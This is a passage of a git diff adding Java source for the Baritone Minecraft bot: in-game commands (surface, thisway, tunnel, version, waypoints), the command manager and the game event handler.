PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.block.AirBlock; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class SurfaceCommand extends Command { + + protected SurfaceCommand(IBaritone baritone) { + super(baritone, "surface", "top"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + final BetterBlockPos playerPos = ctx.playerFeet(); + final int surfaceLevel = ctx.world().getSeaLevel(); + final int worldHeight = ctx.world().getHeight(); + + // Ensure this command will not run if you are above the surface level and the block above you is air + // As this would imply that your are already on the open surface + if (playerPos.getY() > surfaceLevel && ctx.world().getBlockState(playerPos.up()).getBlock() instanceof AirBlock) { + logDirect("Already at surface"); + return; + } + + final int startingYPos = Math.max(playerPos.getY(), surfaceLevel); + + for (int currentIteratedY = startingYPos; currentIteratedY < worldHeight; currentIteratedY++) { + final BetterBlockPos newPos = new BetterBlockPos(playerPos.getX(), currentIteratedY, playerPos.getZ()); + + if (!(ctx.world().getBlockState(newPos).getBlock() instanceof AirBlock) && newPos.getY() > playerPos.getY()) { + Goal goal = new GoalBlock(newPos.up()); + logDirect(String.format("Going to: %s", goal.toString())); + baritone.getCustomGoalProcess().setGoalAndPath(goal); + return; + } + } + logDirect("No higher location found"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Used to get out of caves, mines, ..."; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The surface/top command tells Baritone to head towards the closest surface-like area.", + "", + "This can be the surface or the highest available air space, depending on circumstances.", + "", + "Usage:", + "> surface - Used to get out of caves, mines, ...", + "> top - Used to get out of caves, mines, ..." + ); + } +} diff --git a/src/baritone/command/defaults/ThisWayCommand.java b/src/baritone/command/defaults/ThisWayCommand.java new file mode 100644 index 00000000..0c10bba3 --- /dev/null +++ b/src/baritone/command/defaults/ThisWayCommand.java @@ -0,0 +1,67 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.GoalXZ; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ThisWayCommand extends Command { + + public ThisWayCommand(IBaritone baritone) { + super(baritone, "thisway", "forward"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireExactly(1); + GoalXZ goal = GoalXZ.fromDirection( + ctx.playerFeetAsVec(), + ctx.player().rotationYawHead, + args.getAs(Double.class) + ); + baritone.getCustomGoalProcess().setGoal(goal); + logDirect(String.format("Goal: %s", goal)); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Travel in your current direction"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Creates a GoalXZ some amount of blocks in the direction you're currently looking", + "", + "Usage:", + "> thisway - makes a GoalXZ distance blocks in front of you" + ); + } +} diff --git a/src/baritone/command/defaults/TunnelCommand.java b/src/baritone/command/defaults/TunnelCommand.java new file mode 100644 index 00000000..e7852dd0 --- /dev/null +++ b/src/baritone/command/defaults/TunnelCommand.java @@ -0,0 +1,113 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalStrictDirection; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class TunnelCommand extends Command { + + public TunnelCommand(IBaritone baritone) { + super(baritone, "tunnel"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(3); + if (args.hasExactly(3)) { + boolean cont = true; + int height = Integer.parseInt(args.getArgs().get(0).getValue()); + int width = Integer.parseInt(args.getArgs().get(1).getValue()); + int depth = Integer.parseInt(args.getArgs().get(2).getValue()); + + if (width < 1 || height < 2 || depth < 1 || height > 255) { + logDirect("Width and depth must at least be 1 block; Height must at least be 2 blocks, and cannot be greater than the build limit."); + cont = false; + } + + if (cont) { + height--; + width--; + BlockPos corner1; + BlockPos corner2; + Direction enumFacing = ctx.player().getHorizontalFacing(); + int addition = ((width % 2 == 0) ? 0 : 1); + switch (enumFacing) { + case EAST: + corner1 = new BlockPos(ctx.playerFeet().x, ctx.playerFeet().y, ctx.playerFeet().z - width / 2); + corner2 = new BlockPos(ctx.playerFeet().x + depth, ctx.playerFeet().y + height, ctx.playerFeet().z + width / 2 + addition); + break; + case WEST: + corner1 = new BlockPos(ctx.playerFeet().x, ctx.playerFeet().y, ctx.playerFeet().z + width / 2 + addition); + corner2 = new BlockPos(ctx.playerFeet().x - depth, ctx.playerFeet().y + height, ctx.playerFeet().z - width / 2); + break; + case NORTH: + corner1 = new BlockPos(ctx.playerFeet().x - width / 2, ctx.playerFeet().y, ctx.playerFeet().z); + corner2 = new BlockPos(ctx.playerFeet().x + width / 2 + addition, ctx.playerFeet().y + height, ctx.playerFeet().z - depth); + break; + case SOUTH: + corner1 = new BlockPos(ctx.playerFeet().x + width / 2 + addition, ctx.playerFeet().y, ctx.playerFeet().z); + corner2 = new BlockPos(ctx.playerFeet().x - width / 2, ctx.playerFeet().y + height, ctx.playerFeet().z + depth); + break; + default: + throw new IllegalStateException("Unexpected value: " + enumFacing); + } + logDirect(String.format("Creating a tunnel %s block(s) high, %s block(s) wide, and %s block(s) deep", height + 1, width + 1, depth)); + baritone.getBuilderProcess().clearArea(corner1, corner2); + } + } else { + Goal goal = new GoalStrictDirection( + ctx.playerFeet(), + ctx.player().getHorizontalFacing() + ); + baritone.getCustomGoalProcess().setGoalAndPath(goal); + logDirect(String.format("Goal: %s", goal.toString())); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Set a goal to tunnel in your current direction"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The tunnel command sets a goal that tells Baritone to mine completely straight in the direction that you're facing.", + "", + "Usage:", + "> tunnel - No arguments, mines in a 1x2 radius.", + "> tunnel - Tunnels in a user defined height, width and depth." + ); + } +} diff --git a/src/baritone/command/defaults/VersionCommand.java b/src/baritone/command/defaults/VersionCommand.java new file mode 100644 index 00000000..c8e13558 --- /dev/null +++ b/src/baritone/command/defaults/VersionCommand.java @@ -0,0 +1,66 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class VersionCommand extends Command { + + public VersionCommand(IBaritone baritone) { + super(baritone, "version"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + String version = getClass().getPackage().getImplementationVersion(); + if (version == null) { + throw new CommandInvalidStateException("Null version (this is normal in a dev environment)"); + } else { + logDirect(String.format("You are running Baritone v%s", version)); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "View the Baritone version"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The version command prints the version of Baritone you're currently running.", + "", + "Usage:", + "> version - View version information, if present" + ); + } +} diff --git a/src/baritone/command/defaults/WaypointsCommand.java b/src/baritone/command/defaults/WaypointsCommand.java new file mode 100644 index 00000000..824291ce --- /dev/null +++ b/src/baritone/command/defaults/WaypointsCommand.java @@ -0,0 +1,417 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.cache.IWaypoint; +import baritone.api.cache.IWorldData; +import baritone.api.cache.Waypoint; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.ForWaypoints; +import baritone.api.command.datatypes.RelativeBlockPos; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.helpers.Paginator; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.util.*; +import java.util.function.BiFunction; +import java.util.function.Function; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; + +public class WaypointsCommand extends Command { + + private Map> deletedWaypoints = new HashMap<>(); + + public WaypointsCommand(IBaritone baritone) { + super(baritone, "waypoints", "waypoint", "wp"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + Action action = args.hasAny() ? Action.getByName(args.getString()) : Action.LIST; + if (action == null) { + throw new CommandInvalidTypeException(args.consumed(), "an action"); + } + BiFunction toComponent = (waypoint, _action) -> { + TextComponent component = new StringTextComponent(""); + TextComponent tagComponent = new StringTextComponent(waypoint.getTag().name() + " "); + tagComponent.setStyle(tagComponent.getStyle().setFormatting(TextFormatting.GRAY)); + String name = waypoint.getName(); + TextComponent nameComponent = new StringTextComponent(!name.isEmpty() ? name : ""); + nameComponent.setStyle(nameComponent.getStyle().setFormatting(!name.isEmpty() ? TextFormatting.GRAY : TextFormatting.DARK_GRAY)); + TextComponent timestamp = new StringTextComponent(" @ " + new Date(waypoint.getCreationTimestamp())); + timestamp.setStyle(timestamp.getStyle().setFormatting(TextFormatting.DARK_GRAY)); + component.append(tagComponent); + component.append(nameComponent); + component.append(timestamp); + component.setStyle(component.getStyle() + .setHoverEvent(new HoverEvent( + HoverEvent.Action.SHOW_TEXT, + new StringTextComponent("Click to select") + )) + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s %s %s @ %d", + FORCE_COMMAND_PREFIX, + label, + _action.names[0], + waypoint.getTag().getName(), + waypoint.getCreationTimestamp() + )) + )); + return component; + }; + Function transform = waypoint -> + toComponent.apply(waypoint, action == Action.LIST ? Action.INFO : action); + if (action == Action.LIST) { + IWaypoint.Tag tag = args.hasAny() ? IWaypoint.Tag.getByName(args.peekString()) : null; + if (tag != null) { + args.get(); + } + IWaypoint[] waypoints = tag != null + ? ForWaypoints.getWaypointsByTag(this.baritone, tag) + : ForWaypoints.getWaypoints(this.baritone); + if (waypoints.length > 0) { + args.requireMax(1); + Paginator.paginate( + args, + waypoints, + () -> logDirect( + tag != null + ? String.format("All waypoints by tag %s:", tag.name()) + : "All waypoints:" + ), + transform, + String.format( + "%s%s %s%s", + FORCE_COMMAND_PREFIX, + label, + action.names[0], + tag != null ? " " + tag.getName() : "" + ) + ); + } else { + args.requireMax(0); + throw new CommandInvalidStateException( + tag != null + ? "No waypoints found by that tag" + : "No waypoints found" + ); + } + } else if (action == Action.SAVE) { + IWaypoint.Tag tag = args.hasAny() ? IWaypoint.Tag.getByName(args.peekString()) : null; + if (tag == null) { + tag = IWaypoint.Tag.USER; + } else { + args.get(); + } + String name = (args.hasExactlyOne() || args.hasExactly(4)) ? args.getString() : ""; + BetterBlockPos pos = args.hasAny() + ? args.getDatatypePost(RelativeBlockPos.INSTANCE, ctx.playerFeet()) + : ctx.playerFeet(); + args.requireMax(0); + IWaypoint waypoint = new Waypoint(name, tag, pos); + ForWaypoints.waypoints(this.baritone).addWaypoint(waypoint); + TextComponent component = new StringTextComponent("Waypoint added: "); + component.setStyle(component.getStyle().setFormatting(TextFormatting.GRAY)); + component.append(toComponent.apply(waypoint, Action.INFO)); + logDirect(component); + } else if (action == Action.CLEAR) { + args.requireMax(1); + String name = args.getString(); + IWaypoint.Tag tag = IWaypoint.Tag.getByName(name); + if (tag == null) { + throw new CommandInvalidStateException("Invalid tag, \"" + name + "\""); + } + IWaypoint[] waypoints = ForWaypoints.getWaypointsByTag(this.baritone, tag); + for (IWaypoint waypoint : waypoints) { + ForWaypoints.waypoints(this.baritone).removeWaypoint(waypoint); + } + deletedWaypoints.computeIfAbsent(baritone.getWorldProvider().getCurrentWorld(), k -> new ArrayList<>()).addAll(Arrays.asList(waypoints)); + TextComponent textComponent = new StringTextComponent(String.format("Cleared %d waypoints, click to restore them", waypoints.length)); + textComponent.setStyle(textComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s restore @ %s", + FORCE_COMMAND_PREFIX, + label, + Stream.of(waypoints).map(wp -> Long.toString(wp.getCreationTimestamp())).collect(Collectors.joining(" ")) + ) + ))); + logDirect(textComponent); + } else if (action == Action.RESTORE) { + List waypoints = new ArrayList<>(); + List deletedWaypoints = this.deletedWaypoints.getOrDefault(baritone.getWorldProvider().getCurrentWorld(), Collections.emptyList()); + if (args.peekString().equals("@")) { + args.get(); + // no args.requireMin(1) because if the user clears an empty tag there is nothing to restore + while (args.hasAny()) { + long timestamp = args.getAs(Long.class); + for (IWaypoint waypoint : deletedWaypoints) { + if (waypoint.getCreationTimestamp() == timestamp) { + waypoints.add(waypoint); + break; + } + } + } + } else { + args.requireExactly(1); + int size = deletedWaypoints.size(); + int amount = Math.min(size, args.getAs(Integer.class)); + waypoints = new ArrayList<>(deletedWaypoints.subList(size - amount, size)); + } + waypoints.forEach(ForWaypoints.waypoints(this.baritone)::addWaypoint); + deletedWaypoints.removeIf(waypoints::contains); + logDirect(String.format("Restored %d waypoints", waypoints.size())); + } else { + IWaypoint[] waypoints = args.getDatatypeFor(ForWaypoints.INSTANCE); + IWaypoint waypoint = null; + if (args.hasAny() && args.peekString().equals("@")) { + args.requireExactly(2); + args.get(); + long timestamp = args.getAs(Long.class); + for (IWaypoint iWaypoint : waypoints) { + if (iWaypoint.getCreationTimestamp() == timestamp) { + waypoint = iWaypoint; + break; + } + } + if (waypoint == null) { + throw new CommandInvalidStateException("Timestamp was specified but no waypoint was found"); + } + } else { + switch (waypoints.length) { + case 0: + throw new CommandInvalidStateException("No waypoints found"); + case 1: + waypoint = waypoints[0]; + break; + default: + break; + } + } + if (waypoint == null) { + args.requireMax(1); + Paginator.paginate( + args, + waypoints, + () -> logDirect("Multiple waypoints were found:"), + transform, + String.format( + "%s%s %s %s", + FORCE_COMMAND_PREFIX, + label, + action.names[0], + args.consumedString() + ) + ); + } else { + if (action == Action.INFO) { + logDirect(transform.apply(waypoint)); + logDirect(String.format("Position: %s", waypoint.getLocation())); + TextComponent deleteComponent = new StringTextComponent("Click to delete this waypoint"); + deleteComponent.setStyle(deleteComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s delete %s @ %d", + FORCE_COMMAND_PREFIX, + label, + waypoint.getTag().getName(), + waypoint.getCreationTimestamp() + ) + ))); + TextComponent goalComponent = new StringTextComponent("Click to set goal to this waypoint"); + goalComponent.setStyle(goalComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s goal %s @ %d", + FORCE_COMMAND_PREFIX, + label, + waypoint.getTag().getName(), + waypoint.getCreationTimestamp() + ) + ))); + TextComponent recreateComponent = new StringTextComponent("Click to show a command to recreate this waypoint"); + recreateComponent.setStyle(recreateComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.SUGGEST_COMMAND, + String.format( + "%s%s save %s %s %s %s %s", + Baritone.settings().prefix.value, // This uses the normal prefix because it is run by the user. + label, + waypoint.getTag().getName(), + waypoint.getName(), + waypoint.getLocation().x, + waypoint.getLocation().y, + waypoint.getLocation().z + ) + ))); + TextComponent backComponent = new StringTextComponent("Click to return to the waypoints list"); + backComponent.setStyle(backComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s list", + FORCE_COMMAND_PREFIX, + label + ) + ))); + logDirect(deleteComponent); + logDirect(goalComponent); + logDirect(recreateComponent); + logDirect(backComponent); + } else if (action == Action.DELETE) { + ForWaypoints.waypoints(this.baritone).removeWaypoint(waypoint); + deletedWaypoints.computeIfAbsent(baritone.getWorldProvider().getCurrentWorld(), k -> new ArrayList<>()).add(waypoint); + TextComponent textComponent = new StringTextComponent("That waypoint has successfully been deleted, click to restore it"); + textComponent.setStyle(textComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s restore @ %s", + FORCE_COMMAND_PREFIX, + label, + waypoint.getCreationTimestamp() + ) + ))); + logDirect(textComponent); + } else if (action == Action.GOAL) { + Goal goal = new GoalBlock(waypoint.getLocation()); + baritone.getCustomGoalProcess().setGoal(goal); + logDirect(String.format("Goal: %s", goal)); + } else if (action == Action.GOTO) { + Goal goal = new GoalBlock(waypoint.getLocation()); + baritone.getCustomGoalProcess().setGoalAndPath(goal); + logDirect(String.format("Going to: %s", goal)); + } + } + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasAny()) { + if (args.hasExactlyOne()) { + return new TabCompleteHelper() + .append(Action.getAllNames()) + .sortAlphabetically() + .filterPrefix(args.getString()) + .stream(); + } else { + Action action = Action.getByName(args.getString()); + if (args.hasExactlyOne()) { + if (action == Action.LIST || action == Action.SAVE || action == Action.CLEAR) { + return new TabCompleteHelper() + .append(IWaypoint.Tag.getAllNames()) + .sortAlphabetically() + .filterPrefix(args.getString()) + .stream(); + } else if (action == Action.RESTORE) { + return Stream.empty(); + } else { + return args.tabCompleteDatatype(ForWaypoints.INSTANCE); + } + } else if (args.has(3) && action == Action.SAVE) { + args.get(); + args.get(); + return args.tabCompleteDatatype(RelativeBlockPos.INSTANCE); + } + } + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Manage waypoints"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The waypoint command allows you to manage Baritone's waypoints.", + "", + "Waypoints can be used to mark positions for later. Waypoints are each given a tag and an optional name.", + "", + "Note that the info, delete, and goal commands let you specify a waypoint by tag. If there is more than one waypoint with a certain tag, then they will let you select which waypoint you mean.", + "", + "Missing arguments for the save command use the USER tag, creating an unnamed waypoint and your current position as defaults.", + "", + "Usage:", + "> wp [l/list] - List all waypoints.", + "> wp - List all waypoints by tag.", + "> wp - Save an unnamed USER waypoint at your current position", + "> wp [tag] [name] [pos] - Save a waypoint with the specified tag, name and position.", + "> wp - Show info on a waypoint by tag or name.", + "> wp - Delete a waypoint by tag or name.", + "> wp - Restore the last n deleted waypoints.", + "> wp - Delete all waypoints with the specified tag.", + "> wp - Set a goal to a waypoint by tag or name.", + "> wp - Set a goal to a waypoint by tag or name and start pathing." + ); + } + + private enum Action { + LIST("list", "get", "l"), + CLEAR("clear", "c"), + SAVE("save", "s"), + INFO("info", "show", "i"), + DELETE("delete", "d"), + RESTORE("restore"), + GOAL("goal", "g"), + GOTO("goto"); + private final String[] names; + + Action(String... names) { + this.names = names; + } + + public static Action getByName(String name) { + for (Action action : Action.values()) { + for (String alias : action.names) { + if (alias.equalsIgnoreCase(name)) { + return action; + } + } + } + return null; + } + + public static String[] getAllNames() { + Set names = new HashSet<>(); + for (Action action : Action.values()) { + names.addAll(Arrays.asList(action.names)); + } + return names.toArray(new String[0]); + } + } +} diff --git a/src/baritone/command/manager/CommandManager.java b/src/baritone/command/manager/CommandManager.java new file mode 100644 index 00000000..8712165f --- /dev/null +++ b/src/baritone/command/manager/CommandManager.java @@ -0,0 +1,165 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.manager; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.command.ICommand; +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandUnhandledException; +import baritone.api.command.exception.ICommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.command.manager.ICommandManager; +import baritone.api.command.registry.Registry; +import baritone.command.argument.ArgConsumer; +import baritone.command.argument.CommandArguments; +import baritone.command.defaults.DefaultCommands; +import net.minecraft.util.Tuple; + +import java.util.List; +import java.util.Locale; +import java.util.stream.Stream; + + +/** + * The default, internal implementation of {@link ICommandManager} + * + * @author Brady + * @since 9/21/2019 + */ +public class CommandManager implements ICommandManager { + + private final Registry registry = new Registry<>(); + private final Baritone baritone; + + public CommandManager(Baritone baritone) { + this.baritone = baritone; + DefaultCommands.createAll(baritone).forEach(this.registry::register); + } + + @Override + public IBaritone getBaritone() { + return this.baritone; + } + + @Override + public Registry getRegistry() { + return this.registry; + } + + @Override + public ICommand getCommand(String name) { + for (ICommand command : this.registry.entries) { + if (command.getNames().contains(name.toLowerCase(Locale.US))) { + return command; + } + } + return null; + } + + @Override + public boolean execute(String string) { + return this.execute(expand(string)); + } + + @Override + public boolean execute(Tuple> expanded) { + ExecutionWrapper execution = this.from(expanded); + if (execution != null) { + execution.execute(); + } + return execution != null; + } + + @Override + public Stream tabComplete(Tuple> expanded) { + ExecutionWrapper execution = this.from(expanded); + return execution == null ? Stream.empty() : execution.tabComplete(); + } + + @Override + public Stream tabComplete(String prefix) { + Tuple> pair = expand(prefix, true); + String label = pair.getA(); + List args = pair.getB(); + if (args.isEmpty()) { + return new TabCompleteHelper() + .addCommands(this.baritone.getCommandManager()) + .filterPrefix(label) + .stream(); + } else { + return tabComplete(pair); + } + } + + private ExecutionWrapper from(Tuple> expanded) { + String label = expanded.getA(); + ArgConsumer args = new ArgConsumer(this, expanded.getB()); + + ICommand command = this.getCommand(label); + return command == null ? null : new ExecutionWrapper(command, label, args); + } + + private static Tuple> expand(String string, boolean preserveEmptyLast) { + String label = string.split("\\s", 2)[0]; + List args = CommandArguments.from(string.substring(label.length()), preserveEmptyLast); + return new Tuple<>(label, args); + } + + public static Tuple> expand(String string) { + return expand(string, false); + } + + private static final class ExecutionWrapper { + + private ICommand command; + private String label; + private ArgConsumer args; + + private ExecutionWrapper(ICommand command, String label, ArgConsumer args) { + this.command = command; + this.label = label; + this.args = args; + } + + private void execute() { + try { + this.command.execute(this.label, this.args); + } catch (Throwable t) { + // Create a handleable exception, wrap if needed + ICommandException exception = t instanceof ICommandException + ? (ICommandException) t + : new CommandUnhandledException(t); + + exception.handle(command, args.getArgs()); + } + } + + private Stream tabComplete() { + try { + return this.command.tabComplete(this.label, this.args); + } catch (CommandException ignored) { + // NOP + } catch (Throwable t) { + t.printStackTrace(); + } + return Stream.empty(); + } + } +} diff --git a/src/baritone/event/GameEventHandler.java b/src/baritone/event/GameEventHandler.java new file mode 100644 index 00000000..8e1afcd5 --- /dev/null +++ b/src/baritone/event/GameEventHandler.java @@ -0,0 +1,164 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.event; + +import baritone.Baritone; +import baritone.api.event.events.*; +import baritone.api.event.events.type.EventState; +import baritone.api.event.listener.IEventBus; +import baritone.api.event.listener.IGameEventListener; +import baritone.api.utils.Helper; +import baritone.cache.WorldProvider; +import baritone.utils.BlockStateInterface; +import net.minecraft.world.World; +import net.minecraft.world.chunk.Chunk; + +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +/** + * @author Brady + * @since 7/31/2018 + */ +public final class GameEventHandler implements IEventBus, Helper { + + private final Baritone baritone; + + private final List listeners = new CopyOnWriteArrayList<>(); + + public GameEventHandler(Baritone baritone) { + this.baritone = baritone; + } + + @Override + public final void onTick(TickEvent event) { + if (event.getType() == TickEvent.Type.IN) { + try { + baritone.bsi = new BlockStateInterface(baritone.getPlayerContext(), true); + } catch (Exception ex) { + ex.printStackTrace(); + baritone.bsi = null; + } + } else { + baritone.bsi = null; + } + listeners.forEach(l -> l.onTick(event)); + } + + @Override + public final void onPlayerUpdate(PlayerUpdateEvent event) { + listeners.forEach(l -> l.onPlayerUpdate(event)); + } + + @Override + public final void onSendChatMessage(ChatEvent event) { + listeners.forEach(l -> l.onSendChatMessage(event)); + } + + @Override + public void onPreTabComplete(TabCompleteEvent event) { + listeners.forEach(l -> l.onPreTabComplete(event)); + } + + @Override + public final void onChunkEvent(ChunkEvent event) { + EventState state = event.getState(); + ChunkEvent.Type type = event.getType(); + + boolean isPostPopulate = state == EventState.POST + && (type == ChunkEvent.Type.POPULATE_FULL || type == ChunkEvent.Type.POPULATE_PARTIAL); + + World world = baritone.getPlayerContext().world(); + + // Whenever the server sends us to another dimension, chunks are unloaded + // technically after the new world has been loaded, so we perform a check + // to make sure the chunk being unloaded is already loaded. + boolean isPreUnload = state == EventState.PRE + && type == ChunkEvent.Type.UNLOAD + && world.getChunkProvider().getChunk(event.getX(), event.getZ(), null, false) != null; + + if (isPostPopulate || isPreUnload) { + baritone.getWorldProvider().ifWorldLoaded(worldData -> { + Chunk chunk = world.getChunk(event.getX(), event.getZ()); + worldData.getCachedWorld().queueForPacking(chunk); + }); + } + + + listeners.forEach(l -> l.onChunkEvent(event)); + } + + @Override + public final void onRenderPass(RenderEvent event) { + listeners.forEach(l -> l.onRenderPass(event)); + } + + @Override + public final void onWorldEvent(WorldEvent event) { + WorldProvider cache = baritone.getWorldProvider(); + + if (event.getState() == EventState.POST) { + cache.closeWorld(); + if (event.getWorld() != null) { + cache.initWorld(event.getWorld()); + } + } + + listeners.forEach(l -> l.onWorldEvent(event)); + } + + @Override + public final void onSendPacket(PacketEvent event) { + listeners.forEach(l -> l.onSendPacket(event)); + } + + @Override + public final void onReceivePacket(PacketEvent event) { + listeners.forEach(l -> l.onReceivePacket(event)); + } + + @Override + public void onPlayerRotationMove(RotationMoveEvent event) { + listeners.forEach(l -> l.onPlayerRotationMove(event)); + } + + @Override + public void onPlayerSprintState(SprintStateEvent event) { + listeners.forEach(l -> l.onPlayerSprintState(event)); + } + + @Override + public void onBlockInteract(BlockInteractEvent event) { + listeners.forEach(l -> l.onBlockInteract(event)); + } + + @Override + public void onPlayerDeath() { + listeners.forEach(IGameEventListener::onPlayerDeath); + } + + @Override + public void onPathEvent(PathEvent event) { + listeners.forEach(l -> l.onPathEvent(event)); + } + + @Override + public final void registerEventListener(IGameEventListener listener) { + this.listeners.add(listener); + } +} diff --git a/src/baritone/pathing/calc/AStarPathFinder.java b/src/baritone/pathing/calc/AStarPathFinder.java new file mode 100644 index 00000000..3e38ff41 --- /dev/null +++ b/src/baritone/pathing/calc/AStarPathFinder.java @@ -0,0 +1,177 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General 